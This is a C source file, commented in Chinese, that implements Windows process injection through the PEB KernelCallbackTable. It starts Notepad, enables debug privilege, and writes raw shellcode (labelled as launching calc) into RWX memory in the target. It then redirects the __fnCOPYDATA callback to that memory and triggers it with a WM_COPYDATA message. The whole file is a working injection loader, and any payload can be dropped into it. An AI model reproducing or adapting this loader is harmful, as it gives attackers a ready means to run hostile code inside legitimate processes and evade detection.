Copy #include <Windows.h>
#include <stdio.h>
#include <cstddef> // 确保包含此头文件
#include "struct.h"
// 定义颜色宏(可选)
#define COLOR_RESET "\033[0m"
#define COLOR_RED_BOLD "\033[1;31m"
#define COLOR_GREEN_BOLD "\033[1;32m"
#define COLOR_YELLOW_BOLD "\033[1;32m"
#define COLOR_BLUE_BOLD "\033[1;34m"
#define MAX_WAIT_TIME 10000
PVOID PebBaseAddress = NULL;
// 功能:加载 NtQueryInformationProcess 函数,并打印加载状态
void LoadNtQueryInformationProcess()
{
// 打印加载信息,使用颜色宏来设置输出样式
printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\n" COLOR_RESET);
// 获取 ntdll.dll 模块的句柄
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
// 检查 ntdll.dll 是否成功加载
if (hNtdll)
{
// 从 ntdll.dll 中获取 NtQueryInformationProcess 函数的地址
NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");
// 检查函数地址是否成功获取
if (NtQueryInformationProcess)
{
// 打印成功加载的消息,包括函数地址
printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\n" COLOR_RESET, NtQueryInformationProcess);
}
else
{
// 打印失败加载的消息
printf(COLOR_RED_BOLD "\t[-] Failed to resolve NtQueryInformationProcess address.\n" COLOR_RESET);
}
}
else
{
// 如果 ntdll.dll 加载失败,打印错误消息
printf(COLOR_RED_BOLD "\t[-] Failed to load ntdll.dll.\n" COLOR_RESET);
}
}
// 功能:启用当前进程的调试权限
void EnableDebugPrivilege()
{
// 打印启用调试权限的信息,使用颜色宏来设置输出样式
printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\n" COLOR_RESET);
HANDLE hToken; // 进程令牌句柄
TOKEN_PRIVILEGES tkp; // 存储权限信息的结构体
// 打开当前进程的令牌,以便调整权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// 查找调试权限的 LUID(唯一标识符)
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
// 设置权限计数为 1
tkp.PrivilegeCount = 1;
// 设置调试权限的属性为启用
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整令牌的权限
AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
// 关闭令牌句柄
CloseHandle(hToken);
// 打印成功启用调试权限的消息(注释掉的代码)
printf(COLOR_GREEN_BOLD "[+] Debug Privilege enabled.\n" COLOR_RESET );
}
else
{
// 打印失败启用调试权限的消息
printf(COLOR_RED_BOLD "[-] Failed to enable Debug Privilege.\n" COLOR_RESET);
}
}
// calc shellcode
unsigned char payload[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
SIZE_T shellcodeSize = sizeof(payload);
SIZE_T bytesRead = 0;
int main()
{
printf(COLOR_YELLOW_BOLD "[*] Initializing exploit...\n" COLOR_RESET);
// 步骤一:启用调试权限
EnableDebugPrivilege();
// 步骤二:加载 NtQueryInformationProcess
LoadNtQueryInformationProcess();
if (!NtQueryInformationProcess)
{
printf(COLOR_RED_BOLD "\t[-] NtQueryInformationProcess is NULL. Exiting...\n" COLOR_RESET);
return -1;
}
printf(COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...\n\n" COLOR_RESET);
// 步骤三:启动 Target 进程
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf(COLOR_YELLOW_BOLD "\t[*] Creating new Notepad process...\n" COLOR_RESET);
if (!CreateProcess(
L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to create Notepad process. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Notepad process created successfully. PID: %d\n" COLOR_RESET, pi.dwProcessId);
// 步骤四:等待进程完成初始化
printf(COLOR_YELLOW_BOLD "\t[*] Waiting for Notepad initialization...\n" COLOR_RESET);
WaitForInputIdle(pi.hProcess, 1000);
// 步骤五: 找到记事本的窗口句柄
HWND hWindow = NULL;
DWORD waitTime = 0;
while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
{
hWindow = FindWindow(L"Notepad", NULL);
if (!hWindow)
{
Sleep(500); // Wait for 500 ms before retrying
waitTime += 500;
}
}
if (!hWindow)
{
printf(COLOR_RED_BOLD "\t[-] Failed to find Notepad window handle after waiting for %d milliseconds.\n" COLOR_RESET, MAX_WAIT_TIME);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Window Handle found: 0x%p\n" COLOR_RESET, hWindow);
// 步骤六: 获得记事本窗口进程的PID
DWORD pid;
GetWindowThreadProcessId(hWindow, &pid);
printf(COLOR_GREEN_BOLD "\t[+] Process ID: %d\n" COLOR_RESET, pid);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
pid
);
if (!hProcess)
{
printf(COLOR_RED_BOLD "\t[-] Failed to open target process. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Process Handle: 0x%p\n" COLOR_RESET, hProcess);
// 步骤七:检索 PEB 地址
printf(COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using NtQueryInformationProcess...\n" COLOR_RESET);
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);
if (status != 0)
{
printf(COLOR_RED_BOLD "\t[-] Failed to query process information. NTSTATUS: 0x%lx\n" COLOR_RESET, status);
return -1;
}
PebBaseAddress = pbi.PebBaseAddress;
printf(COLOR_BLUE_BOLD "\t\t[*] PEB Address: 0x%p\n" COLOR_RESET, PebBaseAddress);
// 步骤八:读取目标窗口进程的内核回调表的地址
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(
hProcess,
(PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
&KernelCallbackTable,
sizeof(PVOID),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address: 0x%p\n" COLOR_RESET, KernelCallbackTable);
// 步骤九: 将内核回调表所有回调函数指针读到KERNELCALLBACKTABLE结构体中。
KERNELCALLBACKTABLE CCC;
if (!ReadProcessMemory(
hProcess,
KernelCallbackTable,
&CCC,
sizeof(CCC),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable structure. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\n\t[+] KernelCallbackTable read successfully. %zu bytes read.\n" COLOR_RESET, bytesRead);
printf(COLOR_BLUE_BOLD "\t\t[*] Dumping KernelCallbackTable structure:\n" COLOR_RESET);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYGLOBALDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnDWORD: 0x%p\n" COLOR_RESET, (void*)CCC.__fnDWORD);
// 步骤十: 在远程目标窗口进程中申请一块RWX内存区域并将shellcode写入该区域
printf(COLOR_YELLOW_BOLD "\n\t[*] Allocating remote buffer for payload...\n" COLOR_RESET);
LPVOID remotebuf = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (!remotebuf)
{
printf(COLOR_RED_BOLD "\t[-] Failed to allocate remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
if (!WriteProcessMemory(
hProcess,
remotebuf,
payload,
shellcodeSize,
NULL
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to write payload to remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload written to remote buffer at: 0x%p\n" COLOR_RESET, remotebuf);
// 步骤十一: 修改 _fnCOPYDATA函数指针为shellcode
printf(COLOR_YELLOW_BOLD "\t[*] Modifying __fnCOPYDATA to point to payload...\n" COLOR_RESET);
CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
printf(COLOR_BLUE_BOLD "\t\t[*] __fnCOPYDATA now points to: 0x%p\n" COLOR_RESET, remotebuf);
// 步骤十二: 为修改后的KERNELCALLBACKTABLE申请一块内存区域
printf(COLOR_YELLOW_BOLD "\n\t[*] Cloning modified KernelCallbackTable...\n" COLOR_RESET);
LPVOID cloneCCC = VirtualAllocEx(
hProcess,
NULL,
sizeof(CCC),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if (!cloneCCC)
{
printf(COLOR_RED_BOLD "\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
if (!WriteProcessMemory(
hProcess,
cloneCCC,
&CCC,
sizeof(CCC),
NULL
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to write cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Cloned KernelCallbackTable written at: 0x%p\n" COLOR_RESET, cloneCCC);
// 步骤十三: 更新PEB中的KernelCallbackTable指针,使其指向并修改后的内核回调表。
printf(COLOR_YELLOW_BOLD "\t[*] Updating PEB with cloned KernelCallbackTable...\n" COLOR_RESET);
if (!WriteProcessMemory(
hProcess,
(PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
&cloneCCC,
sizeof(PVOID),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to update PEB KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] PEB KernelCallbackTable updated successfully!\n" COLOR_RESET);
// 步骤十四: 发送消息给目标窗口,从而触发执行shellcode
printf(COLOR_YELLOW_BOLD "\t[*] Sending message to trigger the payload...\n" COLOR_RESET);
COPYDATASTRUCT cds;
WCHAR msg[] = L"oneday";
cds.dwData = 1;
cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
cds.lpData = msg;
LRESULT result = SendMessage(
hWindow,
WM_COPYDATA,
(WPARAM)hWindow,
(LPARAM)&cds
);
if (result == 0 && GetLastError() != 0)
{
printf(COLOR_RED_BOLD "\t[-] Failed to send message to trigger payload. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload triggered!\n" COLOR_RESET);
// 清理内存和句柄
printf(COLOR_YELLOW_BOLD "\t[*] Cleaning up...\n" COLOR_RESET);
VirtualFreeEx(hProcess, remotebuf, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, cloneCCC, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
CloseHandle(hProcess);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
printf(COLOR_GREEN_BOLD "[+] Exploit completed successfully.\n" COLOR_RESET);
return 0;
}